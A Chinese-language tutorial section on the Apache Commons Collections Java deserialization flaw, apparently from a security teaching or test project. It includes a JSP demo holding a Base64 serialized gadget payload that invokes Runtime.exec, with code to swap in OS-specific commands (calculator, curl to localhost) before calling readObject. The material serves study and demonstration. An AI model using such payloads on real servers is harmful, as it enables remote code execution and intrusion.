Java反序列化漏洞

Apache CommonsApache开源的Java通用类项目在Java中项目中被广泛的使用,Apache Commons当中有一个组件叫做Apache Commons Collections,主要封装了Java的Collection(集合)相关类对象。攻击者利用存在漏洞版本的Apache Commons Collections库的反序列化包发送到服务器端进行反序列化操作就会导致服务器被非法入侵。

示例-Java反序列化:

  1. <%@ page contentType="text/html;charset=UTF-8" language="java" %>
  2. <%@ page import="org.apache.commons.codec.binary.Base64" %>
  3. <%@ page import="java.io.ByteArrayInputStream" %>
  4. <%@ page import="java.io.ObjectInputStream" %>
  5. <%@ page import="java.util.Arrays" %>
  6. <%!
  7. byte[] replaceBytes(byte[] classBuffer, String findCommand, String command) {
  8. // 将类字节码转换成byte字符串
  9. String bufferStr = Arrays.toString(classBuffer);
  10. bufferStr = bufferStr.replace("[", "").replace("]", "");
  11. // 查找需要替换的Java二进制内容
  12. byte[] findBytes = findCommand.getBytes();
  13. // 把搜索的字符串byte转换成byte字符串
  14. String findStr = Arrays.toString(findBytes).replace("[", "").replace("]", "");
  15. // 二进制替换后的byte值,注意这个值需要和替换的字符串长度一致,不然会破坏常量池
  16. byte[] replaceBytes = command.getBytes();
  17. // 把替换的字符串byte转换成byte字符串
  18. String replaceStr = Arrays.toString(replaceBytes).replace("[", "").replace("]", "");
  19. bufferStr = bufferStr.replace(findStr, replaceStr);
  20. // 切割替换后的byte字符串
  21. String[] byteArray = bufferStr.split("\\s*,\\s*");
  22. // 创建新的byte数组,存储替换后的二进制
  23. byte[] bytes = new byte[byteArray.length];
  24. // 将byte字符串转换成byte
  25. for (int i = 0; i < byteArray.length; i++) {
  26. bytes[i] = Byte.parseByte(byteArray[i]);
  27. }
  28. return bytes;
  29. }
  30. %>
  31. <%
  32. // Linux会执行curl localhost:9999端口、Windows和OSX系统都是弹出计算器
  33. String findCommand = "open -a Calculator.app";
  34. String command = "open -a Calculator.app";
  35. byte[] classBuffer = Base64.decodeBase64("rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV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AgAAeHAAAAACdAAKZ2V0UnVudGltZXVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHQACWdldE1ldGhvZHVxAH4AMgAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+ADJzcQB+ACt1cQB+AC8AAAACcHVxAH4ALwAAAAB0AAZpbnZva2V1cQB+ADIAAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAvc3EAfgArdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAXQAFm9wZW4gLWEgQ2FsY3VsYXRvci5hcHB0AARleGVjdXEAfgAyAAAAAXEAfgA3c3EAfgAnc3IAEWphdmEubGFuZy5JbnRlZ2VyEuKgpPeBhzgCAAFJAAV2YWx1ZXhyABBqYXZhLmxhbmcuTnVtYmVyhqyVHQuU4IsCAAB4cAAAAAFzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAAdwgAAAAQAAAAAHh4");
  36. String osName = System.getProperty("os.name");
  37. // 替换的命令必须保持长度和默认命令一样,否则会导致无法反序列化
  38. if (osName.startsWith("Windows")) {
  39. command = "calc 12345678901234567";
  40. } else if (osName.startsWith("Linux")) {
  41. command = "curl localhost:9999/ok";
  42. }
  43. byte[] bytes = replaceBytes(classBuffer, findCommand, command);
  44. ObjectInputStream bis = new ObjectInputStream(new ByteArrayInputStream(bytes));
  45. bis.readObject();
  46. %>

示例程序会根据操作系统类型执行对应的本地系统命令:Linux会执行curl localhost:9999端口、Windows和OSX系统都是弹出计算器,如在OSX上访问测试用例会成功弹出计算器,访问:http://localhost:8000/modules/deserialization/deserialization.jsp,如下图:

image-20200921004715191